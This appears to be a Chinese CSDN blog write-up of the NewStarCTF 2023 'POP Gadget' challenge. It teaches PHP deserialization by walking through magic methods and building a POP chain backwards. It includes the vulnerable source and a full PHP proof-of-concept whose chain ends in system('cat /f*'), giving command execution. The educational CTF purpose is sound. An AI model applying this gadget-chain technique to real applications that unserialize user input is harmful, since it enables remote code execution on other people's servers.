通过[NewStarCTF 2023 公开赛道]POP Gadget,精析PHP反序列化POP链的构造(新手可学习)

文章详细分析了一个CTF挑战中的问题,通过构造特定的POP链,利用PHP的魔术方法如__destruct、__toString、__call等,实现对不可访问属性的控制,最终达到利用end()、getStr()等非魔术方法的目的。
摘要由CSDN通过智能技术生成

通过CTF题,精析POP链的构造

[NewStarCTF 2023 公开赛道]POP Gadget

我们可以首先看看题目源代码:
 <?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 

可以看到,源代码相当的长,在构造pop链前,我么先介绍一下题目中所有的魔术方法:

__destruct方法

该魔术方法自动调用的前提是:我们所实例化的对象,自动销毁的时候。
一般它会被调用是两种时机:
(1)当我们实例化对象的时候
(2)当我们使用反序列函数的时候
如下图:

请添加图片描述
两次触发该魔术方法,第一次是new User()实例化对象的时候,第二次是unserialize()函数反序列化的时候。

__toString方法

该魔术方法自动调用的前提是:我们把一个对象当作字符串所使用的时候。
该魔术方法所被调用的时机就多了:
例如:echo [一个实例化的对象]
如图:

请添加图片描述
值得说一下的是:print_r()打印一个实例化对象的时候,并不会触发__toSrting()方法,而是后面的echo $test 触发了__toString方法。

__call方法

该魔术方法自动调用的前提是:当我们调用一个实例化对象中不存在的方法时候。
如图:

请添加图片描述
callxxx()方法并不在User类中存在,强行调用所以触发了__call方法,值得一说的是,__call()方法是会传入两个参数的,第一个参数表示的是强行调用的不存在方法的方法名,第二个是该方法所传入的参数。

__invoke方法

该魔术方法自动调用的前提是:把实例化的对象当成函数调用的时候。 如图:

请添加图片描述
可以看到,这里的 echo $test() ->benben ,其中的 $test()就是把实例化的对象当作函数来调用,所以触发了__invoke方法。

__unset方法

该魔术方法自动调用的前提是:对不可访问的属性使用unset()函数的时候.
如图:

请添加图片描述
User类中的$var 属于私有属性,只有User类中才能调用,类的外部肯定没有办法调用,所以unset( $test->var)时候,访问了不可访问的属性,__unset方法就会被调用。

构造POP链

首先,我要说的是,构造POP链,使用的是反推法,即先找到我们想要利用的函数,再去寻找我们如何才能调用想利用的函数,依次反推。
(1)我们可以很明显的发现我们想要利用的函数:

请添加图片描述
那就是( $this->func)( $this->var)为什么呢,因为这两个参数我们都可以控制。

(2)想要利用( $this->func)( $this->var)那就需要自动调用__unset()方法,那就必须得有unset()函数被执行
唯一有unset()函数的就只有下面的这个类:
请添加图片描述
我们观察一下,这个log通篇都没有出现,那不就是不可访问的属性嘛,那接下来得考虑的问题就来了,
这个我们可以控制的 $handle参数得传入什么,我们再回顾一下__unset()方法被自动调用的条件,必须是unset()这个实例化对象中的不可访问属性,那么,这个 $handle就必须传入new WhiteGod(),也就相当于:
得传入: $handle = new WhiteGod();我们可以暂时这样理解(意思是对的,但是我们在一个类中实例化另一个类时候,这种赋值方法语法是错的),这样传入, WhiteGod中的__unset()方法就会自动触发。

(3)那么问题接踵而至,我们如何调用CTF类中的end()函数,这个并不是魔术方法,我们只能去别的类中去找:
请添加图片描述
这个类中,有我们想调用的end()方法,由于我们想调用的是CTF类中的end()函数,所以我们这个类中可控的参数$obj必须传入new CTF()。相当于得传入: $obj = new CTF()。

(4)那么问题依然在,我们如何调用Handle类中的__call()魔术方法,__call()的自动调用,必须得调用一个类中不存在的函数,我们去找找,哪些函数,我们从来没见过:请添加图片描述
很容易的,这个getStr()通篇只出现了一次,那就是它了,那这个$obj只能传入new Handle(),只有这样我们调用的才是Handle类中不可访问的getStr()函数,才会自动调用Handle类中的__call()方法。

(5)接下来的问题是我们调用Super类中的__invoke()魔术方法,它的自动调用必须得把一个类当作函数使用,我们找呀找,找到了这个:
请添加图片描述
同理,这个$func 必须传入 new Super() ,这样的话,( $this->func)(),就会把Super() 这个对象当作函数执行,从而调用Super()类中的__invoke()方。

(5)接下来就是我们如何能自动调用Then类中的__toString()魔术方法,__toString()的自动调用必须是把一个类当成字符串,那么只有一个了,也只剩下一个了:
请添加图片描述
这个preg_match()函数,前两个参数,都是字符串类型哦,也就是说,我们只要让可控参数$name 等于new Then(),那么 $this->name就相当于把类Then()当成字符串了,那么Then()类中的__toString()就可以被自动调用了。

(6)那么如何调用Begin类中的__destruct()魔术方法,当然是我们的反序列化上传点了:
请添加图片描述
反序列化的时候会调用__destruct()方法。

所以,POC如下:

<?php
class Begin{
    public $name;
}

class Then{
    private $func;
    public function __construct()
    {
        $this->func = new Super() ;
    }
}

class Handle{
    protected $obj;
     public function __construct()
    {
        $this->obj = new CTF();
    }

}

class Super{
    protected $obj;
    public function __construct()
    {
        $this->obj = new Handle();
    }
}

class CTF{
    public $handle;
    public function __construct()
    {
        $this->handle = new WhiteGod();
    }
}

class WhiteGod{
    public $func = 'system';
    public $var = 'cat /f*';
}

$a = new Begin();
$b = new Then();
$a->name = $b;
echo serialize($a);
echo "\n".urlencode(serialize($a))."\n";
?>

示列引用别人的项目,地址为:https://github.com/mcc0624/php_ser_Class
因为篇幅过长,可能出现错误,欢迎各位师傅指出。

  • 22
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值